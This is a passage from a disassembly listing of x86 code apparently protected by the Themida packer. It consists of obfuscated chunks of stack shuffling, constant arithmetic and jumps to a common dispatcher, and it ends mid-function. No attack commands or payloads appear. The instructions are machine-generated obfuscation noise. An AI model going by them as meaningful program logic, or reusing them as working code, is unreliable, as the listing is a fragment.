loc_55DE12:				; CODE XREF: sub_559C84-2A06j
		push	7341h
		mov	[esp+0], edx
		jmp	loc_555E6F
; ---------------------------------------------------------------------------


loc_55DE1F:				; CODE XREF: sub_559C84-368Cj
		xor	ebp, 7703631Eh
		sub	edi, ebp
		pop	ebp
		mov	ecx, edi
		pop	edi
		sub	esi, 76C25830h
		add	esi, ecx
		jmp	loc_554145
; ---------------------------------------------------------------------------


loc_55DE38:				; CODE XREF: sub_559C84+12C3j
		pop	ebx
		push	edi
		mov	edi, edx
		mov	ebx, edi
		pop	edi
		pop	edx
		sub	ebx, ecx
		push	ebx
		pop	ecx
		pop	ebx
		shr	ecx, 7
		push	edi
		jmp	loc_55B6FE
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55DE4E	proc near		; CODE XREF: sub_559C84+26ADj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553AAE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558F81 SIZE 00000007 BYTES

		push	ebx
		mov	ebx, 16E22DCDh
		xor	edx, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_553AAE
sub_55DE4E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DE5E:				; CODE XREF: sub_559C84+2196j
		pop	ecx
		xchg	ebp, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		rol	byte ptr [esp+30h+var_30], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55DE6E:				; CODE XREF: sub_559C84+2781j
		mov	ecx, 5E8548B1h
		sub	ebp, ecx
		jmp	loc_554FC7
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55DE7A:				; CODE XREF: Themida_:005557CCj
		push	0F68h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55C623
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DE89:				; CODE XREF: sub_559C84-966j
		push	eax
		mov	eax, 1893A84h
		neg	eax
		xor	eax, 0D318B971h
		sub	edi, eax
		pop	eax
		jmp	loc_5546BC
; ---------------------------------------------------------------------------


loc_55DE9E:				; CODE XREF: sub_559C84+5574j
		mov	esp, [esp+4Eh+var_4E]
		jmp	loc_5535CD
; ---------------------------------------------------------------------------


loc_55DEA6:				; CODE XREF: sub_559C84+28Ej
		and	ebx, 6E350609h
		dec	ebx
		jmp	loc_55AC44
; ---------------------------------------------------------------------------


loc_55DEB2:				; CODE XREF: sub_559C84-357Dj
		pop	esi
		xchg	edi, [esp+4Ch+var_4E+2]
		pop	esp
		mov	[esp+48h+var_4A+2], edx
		jmp	loc_55BB90
; ---------------------------------------------------------------------------


loc_55DEBF:				; CODE XREF: sub_559C84-35C4j
		mov	esp, [esp+4Ch+var_4E+2]
		sub	byte ptr [esp+4Ch+var_4E+2], al
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55DECB:				; CODE XREF: sub_559C84-34CBj
		push	[esp+58h+var_58]
		pop	ebx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_557400
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1366h
		mov	[esp], ebx
		push	esp
		jmp	loc_55BF28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DEF2:				; CODE XREF: sub_559C84-35Aj
		mov	[esp+0], edx
		jmp	sub_5538DF
; ---------------------------------------------------------------------------


loc_55DEFA:				; CODE XREF: sub_559C84-1CE9j
		push	[esp+52h+var_52]
		pop	esi
		push	edx
		mov	edx, esp
		jmp	loc_553828
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5597C1


loc_55DF06:				; CODE XREF: sub_5597C1+43Bj
		pop	ecx
		and	eax, esi
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		jmp	loc_553F39
; END OF FUNCTION CHUNK	FOR sub_5597C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DF18:				; CODE XREF: sub_559C84+2278j
		mov	edx, ecx
		pop	ecx
		jmp	loc_559511
; ---------------------------------------------------------------------------


loc_55DF20:				; CODE XREF: sub_559C84+357Bj
		shr	cx, 7
		xor	cx, 5B7Ah
		xor	cx, 6167h
		sub	bx, cx
		jmp	loc_55A95E
; ---------------------------------------------------------------------------


loc_55DF36:				; CODE XREF: sub_559C84-132Bj
		shl	bl, 3
		jmp	loc_55FC0A
; ---------------------------------------------------------------------------


loc_55DF3E:				; CODE XREF: sub_559C84+FE1j
		add	eax, ebx
		sub	eax, 7B6546CAh
		push	45C3h
		mov	[esp+38h+var_3A+2], ecx
		mov	ecx, 3871499Eh
		sub	eax, 72B606F7h
		add	eax, ecx
		jmp	loc_5559C4
; ---------------------------------------------------------------------------


loc_55DF5E:				; CODE XREF: sub_559C84-1B4j
		sub	ebp, edx
		pop	edx
		jmp	loc_55BA72
; ---------------------------------------------------------------------------


loc_55DF66:				; CODE XREF: sub_559C84-2D7Bj
		mov	edi, esp
		jmp	loc_559C0C
; ---------------------------------------------------------------------------


loc_55DF6D:				; CODE XREF: sub_559C84-17FFj
		mov	ecx, 4
		jmp	loc_55546A
; ---------------------------------------------------------------------------


loc_55DF77:				; CODE XREF: sub_559C84+11BBj
		mov	ecx, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		mov	esi, 51AE0B46h
		mov	edx, 51AE0B72h
		sub	edx, esi
		jmp	loc_55481F
; ---------------------------------------------------------------------------


loc_55DFB8:				; CODE XREF: sub_559C84-46B9j
		mov	esi, esp
		push	7ECAh
		mov	[esp+46h+var_46], ecx
		push	edi
		push	5F7B33E2h
		pop	edi
		push	ebp
		jmp	loc_5562C0
; ---------------------------------------------------------------------------


loc_55DFCF:				; CODE XREF: sub_559C84-6253j
		add	ch, al
		mov	eax, [esp+4Ah+var_4A]
		add	esp, 4
		add	al, ch
		jmp	loc_55353F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DFEA:				; CODE XREF: sub_559C84-1A6Cj
		sub	eax, 170E01C6h
		mov	ecx, [eax]
		jmp	loc_555CED
; ---------------------------------------------------------------------------


loc_55DFF6:				; CODE XREF: sub_559C84-5AC2j
		inc	eax
		jmp	loc_55AAB9
; ---------------------------------------------------------------------------


loc_55DFFC:				; CODE XREF: sub_559C84-4758j
		add	ch, 22h
		sub	dl, ch
		jmp	loc_55631D
; ---------------------------------------------------------------------------


loc_55E006:				; CODE XREF: sub_559C84+3B46j
		sub	ebp, 0D0414986h
		and	ecx, ebp
		pop	ebp
		jmp	loc_55E6C6
; ---------------------------------------------------------------------------


loc_55E014:				; CODE XREF: sub_559C84-439Cj
		and	eax, 64FD7B7Dh
		xor	eax, 3B980C90h
		sub	ebx, eax
		pop	eax
		push	ebp
		push	edi
		mov	edi, 68863113h
		jmp	loc_553C8D
; ---------------------------------------------------------------------------


loc_55E02D:				; CODE XREF: sub_559C84-2E98j
		push	ecx
		mov	ch, al
		jmp	loc_55C4B1
; ---------------------------------------------------------------------------


loc_55E035:				; CODE XREF: sub_559C84-51B1j
		pop	esp
		add	eax, 16251FDBh
		jmp	loc_558CC8
; ---------------------------------------------------------------------------


loc_55E040:				; CODE XREF: sub_559C84+299Aj
		push	eax
		mov	eax, 8B94856h
		add	esi, eax
		pop	eax
		and	esi, 1ED23F27h
		jmp	loc_555DFE
; ---------------------------------------------------------------------------


loc_55E054:				; CODE XREF: sub_559C84+557Ej
		pop	ebx
		and	eax, ecx
		push	[esp+2Eh+var_30+2]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+32h+var_34+2]
		jmp	loc_553FB3
; ---------------------------------------------------------------------------


loc_55E070:				; CODE XREF: sub_559C84+295Dj
		neg	edx
		xor	edx, 2ED803A8h
		and	edx, 5B27685Fh
		add	edx, 0EFF9BFE5h
		jmp	loc_55F0EF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E091:				; CODE XREF: sub_559C84+4D2Aj
		push	edi
		push	eax
		mov	eax, 1AB47669h
		mov	edi, eax
		jmp	loc_553CAC
; ---------------------------------------------------------------------------


loc_55E09F:				; CODE XREF: sub_559C84-4719j
		pop	ebp
		jmp	loc_55AE62
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E0A5:				; CODE XREF: Themida_:005591BAj
		push	edi
		push	esp
		mov	edi, [esp]
		jmp	loc_553A36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E0AF:				; CODE XREF: sub_559C84-AF9j
		add	[esp+2Ah+var_2C+2], eax
		push	eax
		mov	eax, 7E5E3C9Ah
		sub	[esp+2Eh+var_2C+2], 4C332B42h
		sub	[esp+2Eh+var_2C+2], eax
		jmp	loc_55AEF0
; ---------------------------------------------------------------------------


loc_55E0C9:				; CODE XREF: sub_559C84-1E7j
		dec	edi
		sub	edi, 0F7F6DFFBh
		mov	ecx, edi
		pop	edi
		push	ecx
		jmp	loc_55F8CA
; ---------------------------------------------------------------------------


loc_55E0D9:				; CODE XREF: sub_559C84-575Fj
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		sub	bl, al
		pop	ax
		add	bl, 0DBh
		add	bl, 51h
		add	bl, al
		jmp	loc_555657
; ---------------------------------------------------------------------------


loc_55E0F3:				; CODE XREF: sub_559C84-1B43j
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		sub	ebx, 0B3D8B99h
		sub	edx, ebx
		mov	ebx, [esp+52h+var_52]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55A951
; ---------------------------------------------------------------------------


loc_55E118:				; CODE XREF: sub_559C84-E71j
		push	[esp+20h+var_1C]
		pop	edx
		jmp	loc_55F5D9
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E122:				; DATA XREF: Themida_:00553274o
		mov	cx, [esp]
		push	178Ch
		mov	[esp], edx
		mov	edx, esp
		push	esi
		jmp	loc_557E9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E136:				; CODE XREF: sub_559C84+2D0Aj
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E13B:				; DATA XREF: Themida_:0055335Co
		lodsd
		jmp	loc_55A034
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E141:				; CODE XREF: sub_559C84+5736j
		xor	edx, 2C395F5Eh
		xor	edx, 16270A54h
		inc	edx
		add	edx, 0FFFFFFFFh
		jmp	loc_55CABE
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E611


loc_55E159:				; CODE XREF: sub_55E611-6FE4j
		mov	edx, ecx
		mov	edi, edx
		jmp	loc_55410F
; END OF FUNCTION CHUNK	FOR sub_55E611
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E162:				; CODE XREF: sub_559C84+3E07j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_553B58
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E16C:				; CODE XREF: Themida_:00557893j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 3D692111h
		jmp	loc_55D2E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F608


loc_55E180:				; CODE XREF: sub_55F608+10j
		pop	ecx
		or	ecx, edi
		pop	edi
		shr	ecx, 1
		shr	ecx, 8
		inc	ecx
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_557479
; END OF FUNCTION CHUNK	FOR sub_55F608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E198:				; CODE XREF: sub_559C84-17CDj
		mov	[esp+3Ah+var_3A], ecx
		mov	ecx, 74CD4AACh
		jmp	loc_55E2FC
; ---------------------------------------------------------------------------


loc_55E1A5:				; CODE XREF: sub_559C84-E02j
		mov	[esp+32h+var_34+2], edi
		jmp	loc_55AD00
; ---------------------------------------------------------------------------


loc_55E1AD:				; CODE XREF: sub_559C84+27FDj
		mov	esp, [esp+50h+var_52+2]
		and	word ptr [esp+50h+var_52+2], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55E1BA:				; CODE XREF: sub_559C84-3778j
		pop	[esp+3Ah+var_3A]
		pop	esp
		mov	[esp+32h+var_34+2], eax
		mov	eax, 20h
		add	eax, 4C667598h
		add	eax, 40784718h
		add	eax, edi
		sub	eax, 40784718h
		sub	eax, 4C667598h
		jmp	sub_553ADA
; ---------------------------------------------------------------------------


loc_55E1E1:				; CODE XREF: sub_559C84+2E7Aj
		push	[esp+58h+var_58]
		jmp	loc_55E7FD
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5553EA


loc_55E1E9:				; CODE XREF: sub_5553EA+2484j
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		dec	[esp-4+arg_0]
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_5553EA

; =============== S U B	R O U T	I N E =======================================



sub_55E1F9	proc near		; CODE XREF: sub_559C84-653Fj

; FUNCTION CHUNK AT 00559656 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055EFD0 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, 0D75546h
		jmp	loc_559656
sub_55E1F9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E204:				; CODE XREF: sub_559C84-247Dj
		mov	ah, 7Ah
		xor	ah, cl
		pop	ecx
		jmp	loc_553D91
; ---------------------------------------------------------------------------


loc_55E20E:				; CODE XREF: sub_559C84+21ACj
		pop	dword ptr [edi+20h]
		sub	dword ptr [edi+20h], 2716582Eh
		mov	edx, [esp+34h+var_34]
		add	esp, 4
		jmp	loc_5556A2
; ---------------------------------------------------------------------------


loc_55E223:				; CODE XREF: sub_559C84-6378j
		add	esp, 4
		jmp	sub_55E51A
; ---------------------------------------------------------------------------


loc_55E22B:				; CODE XREF: sub_559C84+2E04j
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_55926B
; ---------------------------------------------------------------------------


loc_55E239:				; CODE XREF: sub_559C84+23C5j
		sub	edx, 60D73D2Ah
		add	edx, esi
		add	edx, 60D73D2Ah
		pop	esi
		add	edx, 4
		xor	edx, [esp+46h+var_46]
		jmp	loc_55C2F0
; ---------------------------------------------------------------------------


loc_55E256:				; CODE XREF: sub_559C84+72Cj
		push	dx
		mov	dh, 2
		sub	al, dh
		pop	dx
		sub	al, 0A1h
		push	dx
		mov	dl, 9Fh
		sub	al, 87h
		jmp	loc_55415A
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55E26B	proc near		; DATA XREF: Themida_:005534ACo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005539AF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00554239 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00554679 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555DF4 SIZE 0000000A BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		push	222Ch
		jmp	loc_555DF4
sub_55E26B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E287:				; CODE XREF: sub_559C84-31E5j
		add	ecx, edi
		sub	ecx, 10B76326h
		pop	edi
		xchg	ecx, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		mov	cx, word ptr [esp+40h+var_42+2]
		push	76A4h
		jmp	loc_5598C9
; ---------------------------------------------------------------------------


loc_55E2A4:				; CODE XREF: sub_559C84-29Fj
		xor	ebx, edx
		pop	edx
		jmp	loc_556161
; ---------------------------------------------------------------------------


loc_55E2AC:				; CODE XREF: sub_559C84-5BE2j
		mov	[esp+2+var_4+2], ebx
		mov	bl, 18h
		shr	bl, 2
		jmp	loc_5553F5
; ---------------------------------------------------------------------------


loc_55E2B9:				; CODE XREF: sub_559C84+115Aj
		sub	ebx, 231D53BCh
		sub	ebx, esi
		add	ebx, 231D53BCh
		pop	esi
		pop	esi
		add	ebx, eax
		add	ebx, 60DC5818h
		jmp	loc_559519
; ---------------------------------------------------------------------------


loc_55E2D6:				; CODE XREF: sub_559C84+46F3j
		xor	eax, 28D427A6h
		push	1405h
		mov	[esp+0], ebx
		jmp	loc_55613E
; ---------------------------------------------------------------------------


loc_55E2E8:				; CODE XREF: sub_559C84+1126j
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_557DED
; ---------------------------------------------------------------------------


loc_55E2FC:				; CODE XREF: sub_559C84+451Cj
		dec	ecx
		not	ecx
		inc	ecx
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		not	ecx
		sub	ecx, 8B32B553h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		test	cl, al
		pushf
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557ED1


loc_55E31F:				; CODE XREF: sub_557ED1+11j
		add	eax, ebx
		jmp	loc_55A0CC
; END OF FUNCTION CHUNK	FOR sub_557ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E326:				; CODE XREF: sub_559C84+49ECj
		and	dl, 88h
		sub	dl, 77h
		and	dl, 57h
		jmp	loc_557A8A
; ---------------------------------------------------------------------------


loc_55E334:				; CODE XREF: sub_559C84+3283j
		add	edi, ebx
		sub	edi, 440A6EBAh
		pop	ebx
		jmp	loc_556BB4
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_55E342	proc near		; CODE XREF: sub_559C84-852j

; FUNCTION CHUNK AT 00557B2A SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_557B2A
sub_55E342	endp


; =============== S U B	R O U T	I N E =======================================



sub_55E34A	proc near		; CODE XREF: sub_559C84+1109j
		push	ebx
		mov	ebx, 6F1C4FDAh
		jmp	loc_55C949
sub_55E34A	endp

; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55895E


loc_55E35D:				; CODE XREF: sub_55895E-4FF0j
		push	[esp+4+var_4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	eax
		jmp	loc_55385D
; END OF FUNCTION CHUNK	FOR sub_55895E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E36C:				; CODE XREF: sub_559C84+55ECj
		mov	eax, 28D427A6h
		xor	[esp+4], eax
		pop	eax
		pop	eax
		jmp	loc_55E2D6
; ---------------------------------------------------------------------------


loc_55E37C:				; CODE XREF: sub_559C84-352Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp+50h+var_52+2], ebp
		mov	ebp, 51120192h
		xor	ebp, 55E11EF4h
		jmp	loc_5564D7
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	5B572D96h
		pop	ecx
		push	edi
		mov	edi, 4A8E497Ch
		shr	edi, 6
		add	edi, 56A53FBCh
		xor	edi, 0F367AA8Fh
		add	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55BE35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E3D5:				; CODE XREF: sub_559C84-4A06j
		not	al
		push	cx
		mov	ch, 0Bh
		jmp	loc_55ABF8
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E3E8:				; CODE XREF: sub_559C84+4181j
		sub	edi, 4
		xor	edi, [esp+4Ah+var_4A]
		xor	[esp+4Ah+var_4A], edi
		xor	edi, [esp+4Ah+var_4A]
		pop	esp
		mov	[esp+46h+var_46], ebx
		jmp	loc_555E7D
; ---------------------------------------------------------------------------


loc_55E400:				; CODE XREF: sub_559C84-3375j
		push	[esp-1Ah+arg_14+2]
		mov	edx, [esp-16h+arg_10+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_559F30
; ---------------------------------------------------------------------------


loc_55E41A:				; CODE XREF: sub_559C84+1C43j
		mov	eax, [esp+42h+var_42]
		add	esp, 4
		jmp	loc_55CB5B
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55E425	proc near		; CODE XREF: sub_559C84+DF1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00556E29 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005574A3 SIZE 00000030 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		add	esi, 4
		push	edi
		mov	edi, 4
		jmp	loc_556E29
sub_55E425	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E446:				; CODE XREF: sub_559C84-1170j
		mov	ecx, [esp+4Ah+var_4A]
		jmp	loc_555707
; ---------------------------------------------------------------------------


loc_55E44E:				; CODE XREF: sub_559C84+4EC7j
		or	edx, 4E725844h
		jmp	loc_55EDDF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E459:				; CODE XREF: Themida_:00557EA5j
		not	esi
		push	1A0h
		mov	[esp], ecx
		mov	ecx, 5FCB036Fh
		add	ecx, 4E8E24C4h
		and	ecx, 4791624Ch
		add	ecx, 529354Ah
		push	esi
		jmp	loc_55C8F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E480:				; CODE XREF: sub_559C84-3FC0j
		pop	edi
		sub	esp, 4
		mov	[esp+3Eh+var_3E], edx
		jmp	loc_558634
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55E48F	proc near		; DATA XREF: Themida_:00553498o
		mov	ax, [esp+0]
		push	ecx
		jmp	loc_55D9DD
sub_55E48F	endp

; ---------------------------------------------------------------------------


loc_55E499:				; CODE XREF: Themida_:00555507j
		mov	[esp], ebp
		mov	ebp, 2
		add	edx, ebp
		jmp	loc_55C9ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E4A8:				; CODE XREF: sub_559C84+48D1j
		pop	esi
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, 6674069Ch
		sub	ebx, ebp
		mov	ebp, [esp+3Eh+var_3E]
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	1E15h
		jmp	loc_553D65
; ---------------------------------------------------------------------------


loc_55E4CA:				; CODE XREF: sub_559C84-181Cj
		push	esi
		mov	esi, 32B772CBh
		add	esi, 0CD488D39h
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp+3Eh+var_3E]
		pop	esp
		jmp	loc_559FA7
; ---------------------------------------------------------------------------


loc_55E4E2:				; CODE XREF: sub_559C84+7E7j
		push	[esp+4Ah+var_4A]
		pop	ebp
		push	69ACh
		jmp	loc_559BEB
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E4F0:				; CODE XREF: Themida_:0055FC18j
		push	ecx
		jmp	loc_55D96B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E4F6:				; CODE XREF: sub_559C84-31C6j
		mov	ecx, esp
		jmp	loc_556F60
; ---------------------------------------------------------------------------


loc_55E4FD:				; CODE XREF: sub_559C84+57A4j
		pop	eax
		add	edi, 4E8664Ch
		add	edi, ecx
		sub	edi, 4E8664Ch
		mov	ecx, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_55A0D2
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55E51A	proc near		; CODE XREF: sub_559C84+45A2j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00554FFF SIZE 00000013 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_554FFF
sub_55E51A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E525:				; CODE XREF: sub_559C84-34D4j
		shr	ebp, 3
		push	edx
		mov	edx, 1
		sub	ebp, edx
		pop	edx
		jmp	loc_5572D5
; ---------------------------------------------------------------------------


loc_55E536:				; CODE XREF: sub_559C84+5EF4j
		mov	eax, esp
		jmp	loc_55EA0E
; ---------------------------------------------------------------------------


loc_55E53D:				; CODE XREF: sub_559C84-F22j
		push	4B3Fh
		jmp	loc_55A981
; ---------------------------------------------------------------------------


loc_55E547:				; CODE XREF: sub_559C84+3009j
		pop	esp
		btr	word ptr [esp+42h+var_42], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55E553:				; CODE XREF: sub_559C84+E7Fj
		add	ebx, esi
		jmp	loc_55E4A8
; ---------------------------------------------------------------------------


loc_55E55A:				; CODE XREF: sub_559C84-4E1Cj
		mov	edi, ecx
		pop	ecx
		add	ebx, edi
		mov	edi, [esp+44h+var_46+2]
		add	esp, 4
		add	ebx, 4
		push	ebx
		push	[esp+44h+var_42+2]
		pop	ebx
		pop	[esp+44h+var_46+2]
		pop	esp
		add	esp, 4
		idiv	ecx
		push	22D4h
		mov	[esp+3Ch+var_3E+2], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+40h+var_42+2], ebp
		mov	ebp, 4
		jmp	loc_55BDF9
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E597:				; CODE XREF: Themida_:00557611j
		push	48D5h
		mov	[esp], ebp
		mov	ebp, 2
		push	ebp
		push	esi
		jmp	loc_55ED53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E5AB:				; CODE XREF: sub_559C84-5FBj
		sub	ebx, ebp
		jmp	loc_5578F8
; ---------------------------------------------------------------------------


loc_55E5B2:				; CODE XREF: sub_559C84+4C6j
		mov	eax, 4724315Dh
		neg	eax
		xor	eax, 0E990CEABh
		mov	edi, eax
		mov	eax, [esp+8+var_8]
		add	esp, 4
		shr	edi, 7
		sub	edi, 23BD7CC9h
		shr	edi, 2
		shr	edi, 3
		shl	edi, 1
		sub	edi, 0DCE518Eh
		jmp	loc_55AA10
; ---------------------------------------------------------------------------


loc_55E5E5:				; CODE XREF: sub_559C84-32DCj
		mov	ebp, 49E249D6h
		or	ebp, 3E16728Bh
		xor	ebp, 39A5170Ch
		sub	eax, ebp
		jmp	loc_555B43
; ---------------------------------------------------------------------------


loc_55E5FD:				; CODE XREF: sub_559C84-669Ej
		push	0
		sub	[esp+4+var_4], 1E9172D0h
		sub	[esp+4+var_4], eax
		jmp	loc_5560DB
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55E611	proc near		; CODE XREF: sub_559C84-64C3j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0055410F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00557629 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055E159 SIZE 00000009 BYTES

		sub	esp, 4
		jmp	loc_557629
sub_55E611	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E619:				; CODE XREF: sub_559C84+2A8Bj
		add	edx, 4
		push	esi
		jmp	loc_55EC7C
; ---------------------------------------------------------------------------


loc_55E625:				; CODE XREF: sub_559C84+568Bj
		and	ebx, 0F7844F0h
		shr	ebx, 4
		add	ebx, 647D06C8h
		sub	ebx, 1
		push	edi
		jmp	loc_5546F0
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55E640	proc near		; CODE XREF: sub_559C84-259Bj

; FUNCTION CHUNK AT 005552A1 SIZE 00000029 BYTES

		push	ebx
		push	edi
		push	ecx
		mov	ecx, 6E452CFBh
